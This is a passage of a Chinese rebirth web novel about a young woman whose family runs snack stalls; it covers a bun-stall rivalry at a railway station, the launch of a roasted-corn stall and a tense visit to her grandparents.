妇女皱了皱眉,“你是说,北站口那边也不让他们去?” 苏丽珍点头:“对,阿姨,我不管你是找人合伙,还是请人帮忙,总之不要让他们在这火车站再挣到一分钱。” 妇女想着如今这天气,把包子放到木箱里,外头用薄被蒙好,一时半会凉不了,而且只要能在几个小时内把包子卖出去,就不用担心会闷馊! 她家离得近,到时候弄个推车过来,她在这边一边包、一边卖,再让儿子骑自行车守在北站口,不管王家卖啥价,他们都跟着,就不信挤不走他! 妇女心中有了主意,于是也爽快道:“你放心,这姓王的不是个东西,老娘跟他也有仇呢!等我学会了做包子,非让他滚出火车站不可!” 这话也引起了苏丽珍的好奇,“阿姨,那姓王的究竟怎么把您气成这样了?”—— 作者有话说:晚安~感谢在2022-06-0723:33:33~2022-06-0922:03:25期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:zhu_duck34瓶; 非常感谢大家对我的支持,我会继续努力的! 第28章 因为统一了立场,加上白得了一份珍贵的食方,妇女也没掖着,直接跟苏丽珍倒起了苦水! “这王八犊子四处跟人说我的麻花不干净!说我上完茅厕回来不洗手,挨个摸麻花,还说我把麻花掉在地上转头接着卖!别以为我不知道,这分明都是他们两口子自己干的事!” “更缺德的是,他不但自己说,还拿他的破包子收买那边几个卖花生瓜子的,让那几个小崽子一边讲我这儿的坏话,一边把人往他们包子摊拉!前天被我发现了,叫我豁出去大闹了一场,这才敢消停!” “闺女,你说他缺德不缺德啊!他一个卖包子的,我是卖麻花的,大家井水不犯河水,犯得着这么欺负人吗?有那工夫他怎么不把他家那埋汰摊子收拾收拾!” 苏丽珍听完也有些同情这位阿姨了!不过以目前的消费条件,买包子和买麻花大概率是冲突的,买了麻花就不见得会再掏钱买包子。估计那王老四就是因为这么想才会t刚站稳脚跟就迫不及待开始算计人! 不过不管怎么说,这人也确实是在既坏又蠢的路上跑的没边儿,就怕别人不知道他这条兴风作浪的臭鱼烂虾。 相信有这些矛盾,以后不必她多叮嘱,这位阿姨也不会让他好过! 该说的都已经说完了,苏丽珍看时间不早便准备离开。没想到临了,那妇女却又把她喊住了。 “闺女,虽说我确实也跟那家人结了仇,可你就不怕我拿了你的东西,不给你办事?” 苏丽珍看出她眼里的试探,只是轻轻一笑。 “阿姨,现在政策好了,不少人都出来做点小买卖挣钱。您也应该看出来了,现在摆摊的人可是越来越多了。所以,这包子肯定也不是只有你和我才能卖的,对吧?”说完,朝对方点了下头,就径自走了。 妇女看着小姑娘云淡风轻的背影,把她的话一琢磨,立时明白了,小姑娘是告诉她,如果她拿了东西却做不到之前的承诺,那她自然可以再找第二个、第三个人来,反正火车站就这么大的地方,总有办法把讨厌的人挤走。 可是她随即又想,要真送出那么多方子,就不怕别人学会了反过来去挤兑她家吗? 等等,是她想岔了,能随意把秘方送人的人家,那手里肯定不只这一个方子! 搞不好,这方子还是最不值钱的! 想到这儿,妇女忍不住嘟囔了一句“惹不起”,接着想起把人得罪狠了的老王家,心情那是格外的好! 不行,她得赶紧把剩下的麻花都卖掉,然后赶紧回家琢磨包子秘方,争取早早把她的包子摊支上! 等两天后,王老四夫妻俩狠出了一把血,终于把在家里闹腾的那母子三人请走,顶着一头一脸没好利索的伤急吼吼来出摊的时候,此时的南站口竟又多了一家包子摊。 更让王老四震惊的是,新包子摊的摊主居然是他在这里新晋的死对头——那家卖麻花的娘儿们! 两家一起卖包子,对比那叫一个明显!虽说两家卖得包子大小、价格都差不多,但人人都说麻花家的包子更好吃!而且人家明显也更干净。 许多买包子的人瞧一眼麻花家那收拾得干干净净的锅盆案板,再瞅瞅王老四家油腻腻、脏兮兮的蒸笼碗筷,这两只脚就直接拐向了麻花家。 王老四不得已又用了老办法,选择降价!可随后他就发现,不管他们家降多少,对方都会死死跟着!而且他们家赠绿豆汤,人家就白送小咸菜,竟是一副咬死他不松口的架势。 再硬扛了两天,赔进去不少钱后,王老四两口子最终还是先败下阵来,骂骂咧咧地退出了这场南站口的“争夺战”,狼狈地奔去了北站口。 可没想到北站口也没消停,那边竟也有两个膀大腰圆的小伙子推着自行车卖包子! 而这一次,他们因为先后经历了赔钱、“放血”,加上这两天血本无归,所以早已是强弩之末,干脆连半天都没挺下来就灰溜溜地走了。 丢了火车站这样挣钱的“风水宝地”,两口子心疼的不行,可争又争不过,打更打不过,也只好在相互埋怨中推着三轮车走街串巷的叫卖。 辛苦不说,生意也是时好时坏,跟以前简直没法比!直到一个月后学生开学了,他们才勉强找到一所高中,算是有了新的摆摊地点。 只可惜他们记吃不记打,虽然不敢再轻易设计拉踩别人,却并没有真的吸取教训,不久就因为偷偷使用病死猪肉做包子,导致许多学生食物中毒,正经闹了不小的风波!结果两口子全被学生家长和学校送进了公安局,赔光了家产不说,还得在里头蹲个三五年。 当然这些都是后话,苏丽珍这次之所以选择这样迂回的方式,主要还是为了安苏卫华夫妻俩的心,既然他们不想她直接出面,那她就先顺从父母的意思。 毕竟她也知道自己最近的变化在他们眼里恐怕不小,也该让他们有个适应过程。 而且她这次也确实没费什么力气,反正那方子只是《料经》中最简单的一个,抄录的时候又被她去掉了两味香料,让它最终的味道达到中等偏上,就是一般人做不出来,但又没到专业师傅手艺的程度。 用这点代价就能让王老四一家吃苦头,她可乐意得很。 从火车站出来后,苏丽珍就直奔市第二百货,把手里的几张高档烟酒票都用了,买了四瓶泸州老窖,两条牡丹牌香烟,这一下就花掉了三十块钱! 这两种烟酒已经是相当拿得出手的礼品了,至于“茅台”“中华”这样的特供品,以她目前的情况,基本没啥想头。 据说,市里几家百货商店只有逢年过节才会把这两种特供烟酒上架,等过了日子货架上基本也空了,也不知道是又收起来了,还是卖掉了。总之,这样的好东西,普通人家想多看两眼都没办法。 苏卫华要找以前的老同事帮忙焊烤炉,总要有点表示,苏丽珍就又买了些中档价位的香烟,再加上罐头、奶糖,这就又花了十五块钱。 这一趟就花去了苏卫华以前一个月的工资,但愿机械厂那两位领导看在他们如此心诚的份上,能答应给大勇哥调岗。 这次出来,李翠英一共给她拿了一百块钱,让她买完了送礼用的东西,再到二楼专卖服装鞋袜的地方给自己买两件新衣服。 苏丽珍本来不想去,不过转念一想,来都来了,正好她惦记着给苏卫华换双新凉鞋,就顺道走了一趟。 时下非常流行一种塑料凉鞋,不但不要票,而且颜色鲜艳、结实耐穿、价格低廉,百货商店的成人男士塑料凉鞋一双只要两块八,听说外头有二道贩子从南边倒货回来,每双还能便宜个三、四毛钱。 但是苏丽珍非常不喜欢这种塑料鞋子,因为穿起来特别烧脚,所以她婉拒了售货员的推荐,花了四块五毛钱,直接选了旁边一双黑色的猪皮凉鞋。 其实她更想多添两块钱买双牛皮的,只可惜牛皮的凉鞋要票,也只好退而求其次。 买了爸爸的,自然也不能少了妈妈的! 她在成衣柜台逛了一圈,最后给李翠英选了一件白底黑色波点的的确良短袖。 这种的确良衬衫不透气、又死贵,奈何现在就是火,人人都以夏天拥有一件的确良衬衫为荣,李翠英也特别喜欢,就是一直舍不得买。 苏丽珍选的这件据说是海市来的最新款,一件就要八块钱!而旁边纯棉线的才三块五,差距不是一般的大。 买完了东西,她估算了下时间,估计苏卫华夫妻俩也快该收摊了,索性拎着这些大包小包直接坐公交回了家。 果然她到家没多久,夫妻俩也回来了。 看到闺女给他们又是买衣服鞋子、又是买麻花的,两人嘴上不说,心里特别高兴。 不过当李翠英翻了一遍,发现苏丽珍什么都没给她自己买,不由嗔怪道:“你这孩子,尽给我们花钱了!你自己咋啥也没买啊!” 苏卫华也在旁边捧着凉鞋使劲点头,“就是、就是!” 没想到苏丽珍早有准备,直接从衣兜里掏出两根头绳,一脸淡定道:“谁说我啥也没买!我这不买了头绳吗?你们看,还一次买俩呢!” 苏卫华和李翠英:“……” 烟酒、罐头买到家后,苏卫华当天就带着东西先后去了机械厂的刘厂长和一车间的夏主任家,希望两人帮忙把丁大勇调到一车间去。 大概是有从前丁父的那一点情面,也可能是苏卫华的礼确实不薄,丁大勇的岗位调度十分顺利,没过两天就去了一车间。 与丁大勇成功换岗消息一并到来的,还有让苏、丁两家满怀期待的烤炉! 苏卫华的老同事不愧是经验丰富的一线老工人,只是对着一副草图,就焊出了苏丽珍记忆里的专用烤炉。 烤炉到家的当天,苏家人就把丁家人都请了过来准备试烤。 除了苞米,苏家还额外准备了猪肉、茄子、土豆、干豆腐,外加张表舅特地送来的一筐小鲫鱼。 当然,最主要的还是苏丽珍和李翠英按照《料经》提前熬制出的一罐辣酱! 如果说各种食材经过高温炭烤后散发出的香味有五成,那么经过刷满辣酱后的再次炙烤,它们几乎能激发出十成的香气! 在场的除了苏丽珍之外,可以说,所有人都被这一口香辣霸道的烧烤美食打开了新世界的大门。 原来苞米加了辣酱可以这么好吃! 烤好t的干豆腐卷香菜居然有股肉味! 就算是再寻常不过的土豆、茄子好像都变成了一种他们从没见识过的美食! 不说岁岁一个小娃娃,就是几个大人都吃得头不抬、眼不睁,话都快顾不上说了! 而吃过了这么一顿让人几乎颠覆了过往诸多美食印象的烧烤后,大家也对丁大勇的烤苞米摊子更加有信心。 当晚,苏丽珍就把那份辣酱的制作方子和烧烤炉一起交给了丁家母子,加上苏家人之前为丁大勇换岗花费的心思,母子二人又是羞愧、又是感激,几乎是抹着泪离开了苏家。 第二天,等丁大勇第一次出摊的时候,苏家三口也早早赶过去帮忙了。 大概是不放心丁大勇一人,丁母也背着小岁岁过来了。 他们到的时候,丁家三轮车周围已经围了不少人看热闹,大家似乎都对样式新颖的烤炉感兴趣,纷纷七嘴八舌询问起来。 丁家母子头一回面对这样的场面,再加上一些流程不够熟练,看着便有些手忙脚乱。 烧烤炉里的木炭半天没升起来,娘儿俩已经急的满头大汗,偏偏因为人太多,小岁岁有些害怕,当场哇哇大哭起来—— 作者有话说:晚安。 第29章 苏卫华夫妻俩一看这架势,赶紧上前帮忙。 “师父、师娘,小师妹,你们来了!” 丁大勇看见师父一家都来了,先是松了口气,接着又有些不好意思起来,“师父,我们出来得太急了,我忘带引火的东西了,这炭一直点不着啊!” 苏卫华一听赶忙道:“现在伏天,炭也潮,这么硬点肯定不行,我这就回去给你抓一把干草来!” 苏丽珍正拿着糖块跟丁母一起哄岁岁,听见这话忙道:“爸,不用回去,咱们不是带了煤油灯来吗,把煤油倒出来点淋在炭上!” 担心丁大勇第一次出摊,经验不足,一家人临出来时特地带了些摆摊要用的东西,想着说不准能用得上! 如今老式路灯瓦数很低,灯光十分昏暗。苏丽珍担心丁大勇摊子摆得晚,到时候黑灯瞎火的,干活、收钱都不方便,手电筒又太费电池,她就顺手把家里闲置的煤油灯带来了,没想到还真派上了用场! 淋了煤油的木炭果然好点多了,加上苏丽珍又从一位看热闹的老大爷手上借了一把蒲扇,对着扇了一会儿,没多久,一烤炉的木炭就都烧起来了。 接下来的就好办了,烤苞米最省事,把青皮和须子剥干净,再插一根细木棍方便刷酱就行了。这点事苏卫华夫妻俩就能办,干脆没让丁母伸手,只叫她在旁边专心带岁岁。 等丁大勇开始把光溜溜的苞米一个个往烤炉上摆时候,苏丽珍忙从自家兜子里掏出两个铝饭盒出来。 “等一下,大勇哥,给我留点地方,咱们先烤点样品!” 丁大勇赶忙放下手里的苞米,“小师妹,啥样品啊?” 苏丽珍打开饭盒盖子,露出里面一段段被切成手指大小的苞米条,笑着解释道:“这就是咱的样品,待会儿烤出来先送给大伙儿尝尝味道!” 早苞米都是提前采摘的嫩苞米,因为水分大,所以不好搓籽,她索性让李翠英在家直接改刀成细条,到时候用竹签穿起来烤,效果也是一样的,反正都是两口的量。 这么点苞米,估计也就刚好够大伙儿咂摸咂摸那辣酱的滋味,再多就没有了。 而他们的辣酱,别说用来烤苞米,就是拌糠、拌野菜都贼香,反正丁大勇自己都是吃完第一口、就立马想第二口,可以说是瞬间征服! 他虽然有些憨,但是脑子也不笨,一听就明白了苏丽珍的意思,忍不住佩服道:“小师妹,还是你聪明,我可想不出这些点子!” 而这边随着他们的苞米开烤,旁边看热闹的人也越来越多了,有人喊道:“小伙子,你这烤苞米咋卖的?” 有了师父一家在旁边陪着,丁大勇也不再像之前那么心里没底,便扬起笑脸招呼道:“一毛钱一穗!” 结果人群里立马有个老太太“哎呦”了一声,“一毛钱?这也太贵了!这玩意儿上秋以后一毛钱都能买个三、四穗了!” 苏丽珍正往手里的小苞米串上刷辣酱,听见这话,便主动接过话道:“大娘,您也说这苞米得等到上秋以后才便宜了,咱大伙儿现在吃它,不就图个新鲜水灵劲儿嘛!再说我们家卖的烤苞米,不提这烤炉、木炭,就单单是我家这祖传的辣酱方子,那也是平常吃不到的!” 说话间,刷了辣酱的苞米经过炭火炙烤后开始散发出一股极为霸道的香味,很快就把众人的注意力吸引得足足的。 周围的人不由开始议论起来:“哎,还真别说,这味儿闻着挺香啊!” “是啊,我自己在家也烧苞米,虽说闻着也香,但比起他们这个可差远了!” 就有人忍不住问苏丽珍:“小姑娘,你们家这辣酱还真是祖传的啊?” 苏丽珍一律笑而不语,只等手上的小苞米串烤的差不多了,周围看热闹的人也被吊足了胃口,才让苏卫华夫妻俩把这些小串挨个儿发给众人品尝。 她笑眯眯道:“大伙儿不用怀疑,我们家这个辣酱方子绝对是外头吃不到的,用它烤出来的苞米更是辣而不燥,满口生香!这样,我口说无凭,今天我们就请大家先免费尝一尝!要是您吃着好了,欢迎常来光顾;要是吃不顺口,咱也有原味不刷酱的!我们用的都是最好的木炭和专门的烤炉,烤出来的苞米个顶个的好吃!” 苏卫华夫妻俩开始发苞米串,第一串最先给了之前借他们蒲扇的老大爷。 老爷子犹豫了一下,才接了过去,试探着放嘴边咬了一口,没想到登时眼睛一亮,当场大嗓门就喊上了:“好吃!太好吃了!我老头子头一回吃这么香的苞米!” 时下人都比较矜持,虽说苏丽珍解释过这些小串都是免费送给大伙儿的,可大多数人还是觉得尝完不买有些不好,所以对苏卫华夫妻俩递过来的苞米串,很多人虽然意动,最后却还是摆了摆手,往后退了退。 本来两人半天才送出去三串,可经过那位老爷子这么一嗓子,不少人按捺不住,最终也接过了递到眼前的试吃品,然后一个个也都跟那位老爷子一样,几乎瞬间就被那鲜香微辣的美味一口征服了。 而当他们还沉浸在这美妙的香味里时,就听那第一个喊好吃的老爷子又开始喊上了:“小伙子,快给我来一穗,不,要两穗!这么香的烤苞米,就得回家就点小酒,肯定老美了!” 结果,老爷子的话就像触动了空气里的某个开关,所有之前尝过苞米串的人都开始跟着喊了起来! “我也要两穗!” “给我两个!” “我要三个,多刷辣酱!” 有这些人带头,其他没试吃过的人也明白了这些烤苞米是真的好吃,都纷纷加入了抢购队伍。 于是,丁大勇第一炉二十多穗烤苞米几乎是眨眼间就被买光了。 不少人没抢到,就急吼吼地催促他们赶紧接着烤。 几人看着眼前排起的长队,心里都格外高兴,知道今天的烤苞米算是稳了! 不过很快,他们就顾不上高兴了! 因为买烤苞米的人实在太多了,烤好的苞米供不应求,几乎是他们这边刚烤出一炉,那边就转瞬卖了个精光。 丁大勇都不知道自己埋头在烤炉边上站了多久,反正他头上、身上早被汗水湿透,又被烤炉烘干,之后又再次湿透,一直就这么反反复复,直到他把最后一穗苞米烤好、卖掉。 而这会儿天基本已经黑透了,路上遛弯、玩耍的人明显减少了许多。 苏丽珍看了下苏卫华的手表,现在都已经八点多了,他们竟然不知不觉地忙活了两个多小时!再加上天热,基本每个人都是一头一脸的汗水,尤其丁大勇,一张脸都被炉火烤得通红。 不过,这阵辛苦也是十分值得的! 苏丽珍负责今晚收钱、找零的工作,她简单整理了下,之前苞米卖得好,丁大勇原本带的那一袋子很快就用完了,苏卫华还特地跑去丁家又带回过一袋!所以两次一合计,他们今晚一共卖掉了两百三十多穗苞米,总毛利为二十三块三毛整! 这些苞米,丁大勇从他表舅那里拿货是按照每穗三分钱的价格,木炭贵一些,一斤要两毛钱,再去掉酱料的成本,也就是t说只今天一个晚上,丁家的净利润就至少有十三、四块钱! 要知道丁大勇前年进的机械厂,因为入厂不满三年,拿的还是学徒工的工资,一个月满打满算才二十三块钱。 没想到今天只卖两个小时烤苞米挣的钱,比他半个月的工资都多! 这一下,对丁家母子来说,不可谓冲击不大,丁母背着已经熟睡的岁岁更是好半天缓不过神来! 等反应过来,她便一边抹泪、一边不停对苏丽珍一家三口道谢。 苏丽珍看得出,她是真的特别高兴,连那张总是消瘦蜡黄的脸上都有了不一样的光彩。 她已经不记得上辈子丁家是如何撑过这段日子的。只是恍惚记着,大约是高中开学以后,她在入学第一天碰到了那个人,自此鬼迷心窍一般着了魔,非逼着李翠英给她买当时价格不菲的白衬衫和回力鞋,可没想到李翠英答应不久又变了卦。 后来,她无意中偷听到苏卫华和李翠英说话,才知道原来他们是把先前攒下的钱都拿去了丁家应急。 因为没法穿上跟那人一样的衣服鞋子,自觉被坏了大事的她当时恼怒异常,埋怨父母不说,还因此恨上了丁大勇! 自此后,每次丁大勇来家里帮忙干活的时候,她从没露过好脸,有两回甚至直接讥讽对方是来打秋风的。 那时的大勇哥也只是个十八岁的少年,因为受不住她那样的嘲讽冷待,又不想苏卫华夫妻难做,打那以后每次都只等她不在家的时候才敢上门…… 苏丽珍深吸了一口气,不一样了,她已经不再是从前那个自私冷血、只长了副恋爱脑的苏丽珍了! 一切已经重来,她会好好珍惜这些真正爱护她的人,一定会好好珍惜的…… 有了第一天的成功经验,丁大勇家的烤苞米摊子每天都十分火爆,据说一晚上两百多穗苞米都不够卖。 苏卫华夫妻俩起先还时常过去帮忙,却被丁大勇坚决拒绝了。如今他已经完全适应了这份工作,再不像之前那样手忙脚乱得连喝口水的工夫都没有。 再加上有丁母在旁边帮着收钱,偶尔打个下手,娘儿俩已经能把这一摊挑起来了,所以他们说啥也不让苏卫华两口子再过去帮忙。 解决了丁家的难题,又没有了王老四那样的臭鱼烂虾搅局,日子又恢复了往日的宁静。 而他们的珍珍小吃摊依旧格外红火,看着每天鼓鼓囊囊的钱包,苏卫华夫妻俩脸上的笑容藏都藏不住。 日子在这样的舒心中过得飞快,一晃就到了八月中旬。 八月初的时候,苏丽珍的高中录取通知书就下来了,正是她上辈子念的凤城市第一重点高中。 自打通知书下来后,苏丽珍就买了一套二手的高一课本开始认真复习。 在这之前,她已经在七月里把初中三年的学习内容都重新学了一遍。 因为重生的缘故,许多初高中的知识内容她都忘得差不多了,而她本身不算天资聪颖的类型,为了接下来的高中三年能取得好成绩,顺利考上一所理想的大学,她必须从现在开始就一直努力。 前世,她就是因为不够努力,再加上整天幻想着跟那个人在一起,所以连着复读了两年,最后才勉强考上一所中专。 这辈子她想努力挣钱,经营好自己的事业,就必须接受更加系统、全面的教育,所以她必须要考上一所好大学。 另外,未来十几年内的大学生依旧都是天之骄子,因此好的大学也是拓展交际、丰富人脉的理想平台,施展得好,必然会对她今后的发展带来积极影响。 考个好大学势在必行,可她现在知识基础并不牢固,加上她对珍珍小吃还有别的规划,这样一来,三年的时间其实也并不算多。 所以,随着九月一日开学的日子临近,被这种危机感支配的苏丽珍越发勤奋起来,恨不得一有点空闲就一头扎进课本里。 这天早上,她如往常一样,先是一边给苏卫华夫妻俩做早饭,一边背英语单词。 等夫妻俩蒸好了凉皮,一家人坐下吃早饭的时候,她又时不时瞄一眼对面墙上贴着的那一溜数学公式。 看着闺女咬一口饼子、看一眼墙的苏卫华夫妻俩:“……” 他们是不是应该找人问问,孩子整天不是帮他们干活、就是埋头学习,已经一个多月不出门、不花钱、不找小伙伴! 这种情况,当家长的该怎么办? 最后夫妻俩还是啥也没说,只默默往闺女的碗里夹她爱吃的小菜。 眼见着早饭快吃完的时候,一直安静的李翠英瞅瞅闺女,又瞧一眼旁边的丈夫,突然清了清嗓子。 这一声总算把苏丽珍从一堆数学符号中唤醒了,她看着李翠英一副欲言又止的模样,想着这两天她妈好像一直就是这副有话想说的模样,赶忙道:“妈,你是不是有什么事要说?” 李翠英便犹豫着开口道:“珍珍,你这眼瞅着都快开学了……你看看,是不是也该去你爷奶家一趟了?”—— 作者有话说:晚安。感谢在2022-06-1022:18:26~2022-06-1221:16:06期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:溜溜1个; 非常感谢大家对我的支持,我会继续努力的! 第30章 苏丽珍一拍脑门,她就说总觉得忘了点什么,现在她妈一提,她才想起还有她爷奶这一茬。 苏丽珍的爷奶也在凤城,不过一直是和她叔叔苏卫民一家一起生活。 苏家老爷子、老太太今年六十多岁,身体都格外硬朗,要说有啥不好,那就是典型的重男轻女。 老两口一共有四个孩子,两个儿子、两个女儿,苏卫华是家里老大。 因为是长子的缘故,早先老两口对苏卫华也是寄予厚望,特别是李翠英当初嫁过来的时候,带了不少嫁妆,老两口对长子、长媳都特别满意。 只不过,李翠英嫁过来连续几年一直没有怀孕,老两口就有些着急了,时不时在大儿子耳边嘀咕几句,对李翠英的态度也越来越冷淡。 苏卫华那会儿为这事没少跟老爷子、老太太吵架,而这期间,苏卫民已经成家并很快生下了一个儿子。 后来等李翠英好不容易怀孕,生下了她,苏家老两口一看是个没把儿的女娃娃,当时就不怎么高兴。 本来想着先开花、后结果也是好的,可没想到李翠英之后几年又没了动静,老两口忍不住了又开始闹腾起来,没办法苏卫华夫妻俩只好去医院做检查。 结果检查结果一出来,有问题的竟然是苏卫华! 苏卫华有先天性弱/精症,能得苏丽珍这一个闺女都算老天爷给脸,以后随着年纪渐长,再怀上的几率基本不用说了。 打那以后,苏家老两口就觉着苏卫华这辈子没有儿子,就相当于是断了根,以后也指望不上了! 再加上那些年因为孩子的事,老两口跟长子的关系已经出现了裂痕,苏卫华又不如他弟弟精明巧嘴会哄人。 渐渐地,随着苏卫民第二个儿子落地,苏家老两口的心也就彻底偏向了老儿子一家。 至于对苏丽珍这个孙女,不能说好、也说不上很坏,就是平平常常、普普通通。 苏丽珍之前的性子敏感沉闷、还自诩清高,而同样是苏家的孙女,她叔叔的女儿,也就是苏丽珍的堂姐,却活泼爱笑会说话,对比之下,老两口自然更喜欢她堂姐。 所以早先苏丽珍每次去爷奶家里,看见老两口对两个孙子亲亲热热也就罢了,却一直不明白为啥同样是孙女,她爷奶对她堂姐就比对她好。 那时的她一方面不忿苏家老两口的不公平,怨恨他们将一生的积蓄都给了叔叔一家,却不肯帮衬自家一点;一方面也嫉妒堂姐比她会讨爷奶的欢心! 一来二去,苏丽珍就变得对去爷奶家这件事格外抵触!到后来就干脆只在过年的时候去晃一晃应个景,每次去了也总是一声不吭,关系自然越来越冷淡。 其实现在想想,真没必要弄得那么难看,经历了两辈子的她还有啥不明白的?即便是亲人之间也讲究一个缘分,你尽到了你应尽的本分,其它的你不强求,也不需付出,正好落得个两边安好、各自自在。 苏丽珍须臾间想通这些,自然也不会像上辈子那样对去t爷奶家那么反感,便准备点头答应李翠英。 没想到这时,对面的苏卫华突然沉下脸,有些不高兴道:“先不用,等以后再说吧!” 苏丽珍看见苏卫华这个反应不由怔了下,记忆里尽管她爷奶特别偏心,可她爸一直都十分孝顺,但凡家里稍微松快些,总要隔三差五买点东西去看望两人,今天这是怎么了! 不过很快,她就想起一件事。 今年年初苏卫华提前退休后,他们家也不得不从机械厂家属院搬出来,那时因为给苏卫华治病,家里已经花了一大笔钱,经济变得拮据。 合适的房子并不好找,再加上为了省钱,夫妻俩就想在苏丽珍就读的初中附近租一个小单间,让她们母女先住着,苏卫华自己则到苏家老两口那儿对付一段时间,等苏丽珍中考结束后再根据她考的学校重新找个房子租。 没想到当时苏卫华才把这话起个头,苏家老两口就开始念叨起来了! 意思就是苏丽珍不过一个小丫头,早晚要嫁出去,能供到初三,有个初中文凭就已经很不错了,既然家里紧张,干脆就出来找个临时工啥的先干着,何必再花那没用的钱! 苏卫华当时就急眼了,二话不说带着李翠英和苏丽珍就走了,后来一赌气,直接租了现在这个房子,虽然离苏丽珍的学校不远,坐车也方便,可价格实在不便宜,一个月就要七块钱。 苏丽珍记得上辈子这件事之后,她爸确实很长一段时间没去看她爷奶,她还为此高兴过一阵子。 直到她上了高中以后,苏卫民夫妻俩听着信特意来看她一次,顺道劝了苏卫华几句。 她爸有了台阶,才慢慢恢复成从前的态度。 其实抛开了所谓的亲缘关系,站在路人的角度看,苏丽珍并不觉得她爷奶的话有多过分。 还是那句话,人与人之间的关系都是相互的,当你不抱有什么期望的时候,自然也无所谓失望。 至少在她记忆里,她爷奶虽然偏心到咯吱窝,却没作妖整事,这对上辈子见识过各种奇葩的她来说,还算不错。 不过她到底算是隔了一辈,想通这些也是正常,像她爸这样估计一时半会儿很难想得开。 既然她爸还在意她爷奶,那她自然要把这表面功夫做好。 于是,她连忙给暗暗着急的李翠英悄悄使了个眼色,笑着劝苏卫华:“爸,我妈说得有道理,毕竟咱们也有好几个月没去了,我这次考上高中,怎么也得告诉我爷奶他们一声。再说,以后等我上学了,你们俩肯定会更忙,到时候怕是想去也没时间了。” 果然,听她这么一说,苏卫华没再像之前那样硬邦邦的拒绝,好一会儿才闷声道:“那就等下午收摊回来再去。” 苏丽珍笑眯眯地应了一声。 等过后,娘儿俩在厨房里包包子的时候,李翠英还小声劝苏丽珍:“闺女,妈跟你商量下,反正咱们也不总去你爷奶家,这回你去时态度稍微软和点……你到底是老苏家的人,其实你爸也乐意看见你跟你爷奶他们亲近。” 苏丽珍自然满口答应下来。虽然她和她妈是她爸心里最重要的人,可这也不代表她爷奶在她爸心里就不重要了! 这一世,能让她爸妈打心眼里高兴的事,她都会努力去做,这点事不算什么。 等下午收完摊子,一家人先去了趟百货商店,买了不少烟酒、罐头和点心。苏卫华嘴上不说,但是看见苏丽珍和李翠英有商有量地认真挑选这些礼品,心里还是十分高兴的。 大包小包地从百货商店出来,他们就直奔苏丽珍的爷奶家。 她爷奶家就住在近郊的位置,属于三不管地带,所以那边不少人家都偷摸养些鸡鸭猪羊,卖了换钱。 苏丽珍的爷爷一直在五金厂上班,后来把工作给大孙子接班后,也在家里头偷偷起了两间猪圈和鸡棚,又是养猪、又是养鸡,是个抓钱能手! 他们去的时候,正赶上苏丽珍的婶婶郑艳红从后院鸡棚出来,手里还端着一小盆鸡蛋。 苏丽珍一搭眼,那盆里少说也得七八个鸡蛋,看来她爷家今年这鸡又没少养。 郑艳红冷不丁看见一家三口进来,先是吓了一跳,等看见三人手里大包小裹地拎了不少东西,脸上的笑容格外热情。 “哎呀,我就说我今天早上起来左眼皮直跳,保准好事要来到!果然大哥、大嫂就来了!” 李翠英也招呼道:“艳红今天不忙吧!” 郑艳红笑道:“不忙,我那厂子嫂子还不知道?统共几个人,天天一早一晚忙一阵就完活了!” 郑艳红在附近一家火柴厂管材料,很是清闲,所以她时常抓住空子就往家跑。 苏丽珍也笑着上前道:“婶婶收鸡蛋呢?” 见苏丽珍的目光直往自己手里瞄,郑艳红下意识就想把手里装鸡蛋的小盆往身后藏,只是伸到一半反应过来不好看,赶忙停下,作势招呼三人:“那啥,大哥、大嫂,珍珍,走走,快进屋!” 又转身朝屋里喊:“爸、妈,我哥和我嫂子来看你们了!” 苏丽珍看得心里直发笑。她这个婶婶还跟上辈子一样,人嘛,倒也不算坏,就是死抠! 上一世,他们家因为她这个不孝女,苏卫华好几次被气到住院,叔叔和婶婶时常会来规劝几句,他家遇上什么事,这两口子也是要人、出人,要力气出力气! 就只有一点,千万别提钱! 尤其婶婶郑艳红的处事原则就是,她不来占你,你也千万别占她!要命好歹还有一条,要钱一分都没有! 这里面还有个乐子,有一回她娘家妈到粮店买粮,走到一半发现钱没带,就寻思就近找她闺女郑艳红借点,好歹先把粮买回来,等回头再还。 没想到她闺女抠抠搜搜就给她拿了五分钱,还跟她妈说这钱正好够买半斤高粱米,回家够做一顿,也不算白跑一趟,差点没把她娘家妈气死。 苏卫华夫妻俩都知道她的为人,也就从不在这方面跟她计较。 一家人进了屋,苏老头和苏老太这会儿正好都在屋里。 苏老头带着小孙子苏玉宝在东边屋里听收音机,苏老太则在西边苏丽珍堂姐苏丽娜的小屋里看孙女试新衣服。 看见大儿子一家三口来了,而且还带着那么多东西,老两口自然也是高兴的。 苏老太从院子里摘了一大盆西红柿,洗好了挨个递给李翠英母女。 苏老头也难得主动跟夫妻俩说话,让他们下次别再买这些东西,毕竟苏卫华现在没有工作,还得看病吃药,钱得紧着点花。 苏丽珍能看得出来,她爷说这话是真心的。 苏卫华看见老爹还关心自己,自然也就不再揪着上次的事不放,反而安慰老爹老娘,把自家如今在客运站摆小吃摊的事就顺道说了。 想不到他刚说完,原本还算热闹融洽的屋里陡然一静。 良久,苏老头才皱着眉头开口道:“你们俩就不能找个临时工啥的先干着?咱都是正儿八经的工人家庭,咋能去干这投机倒把的事!” 苏老太也说:“就是啊!华子,咱还是换点别的干吧!金宝马上要说亲了,咱们丽娜今年还考上了中专,将来毕业就是干部,你这当叔叔的干这个,说出去也不好听啊!” 苏金宝是苏丽珍的大堂哥,现在接了苏老头的班,在五金厂上班。 苏丽娜只比她大几个月,也是今年参加中考,对方成绩一向比她好,看这样应该是被中专提前录取了。 苏丽珍手里拿着个西红柿,原本走了这一道口干舌燥热得很,她正打算吃一口解解渴,可是听完这些话,顿时就没了食欲—— 作者有话说:晚安~《 》 30-40 第31章 苏卫华脸上的笑意也一点点收了起来。 一直留心他神色的李翠英登时有些紧张,张了张嘴,想劝两句,却到底没说出来。 屋子里再次陷入一阵诡异的安静中。 眼看气氛越来越不对劲,郑艳红正准备说点啥把这个话题岔过去,忽听苏丽珍“呵呵”笑了两声,“都怪我们太长时间没来看我爷和我奶了,难怪我爷、我奶记不住我爸的病情。” 她一脸真切地看向对面两个老人,语气格外和顺,“爷、奶,我爸当初出院的时候,大夫可是千叮万嘱让他不能再受累,他t要是能干那些早七晚六的临时工,当初也就不必辞职了呀!而且,孙女我可是听说了,现在连临时工的工作也不是动动嘴皮就能找到的!” 